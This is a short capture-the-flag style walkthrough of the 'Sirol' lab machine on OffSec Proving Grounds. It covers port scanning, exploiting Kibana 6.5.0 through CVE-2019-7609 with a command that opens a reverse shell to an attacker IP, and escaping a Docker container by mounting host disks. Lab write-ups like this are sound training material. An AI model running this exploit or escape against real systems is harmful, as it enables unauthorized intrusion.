Sirol
Writeup for Sirol from offsec Proving Grounds
Information Gathering
rustscan -a 192.168.241.54 --ulimit 5000
nmap -sC -sV --reason -p22,80,3306,5601,24007 192.168.241.54
Service Enumeration
Kibana (Port 5601)
Under the Management tab, we can find the version number of Kibana that is running.
Exploit
Kibana Version 6.5.0 contains an arbitrary code execution flaw in the Timelion visualizer.
Payload: python CVE-2019-7609-kibana-rce.py -u http://192.168.241.54:5601/ -host 192.168.49.241 -port 12345 --shell
Privesc
While we are already the root user, the root directory doesn't seem to have what we are looking for.
Notice that when we list the contents in the root directory, there is a .dockerenv file. This along with the fact that our hostname is a bunch of alphanumeric characters would likely indicate that we are in a docker container.
Using the command fdisk -l we can see what other disks are there.
We can then create a directory and mount all other disks.
Last updated
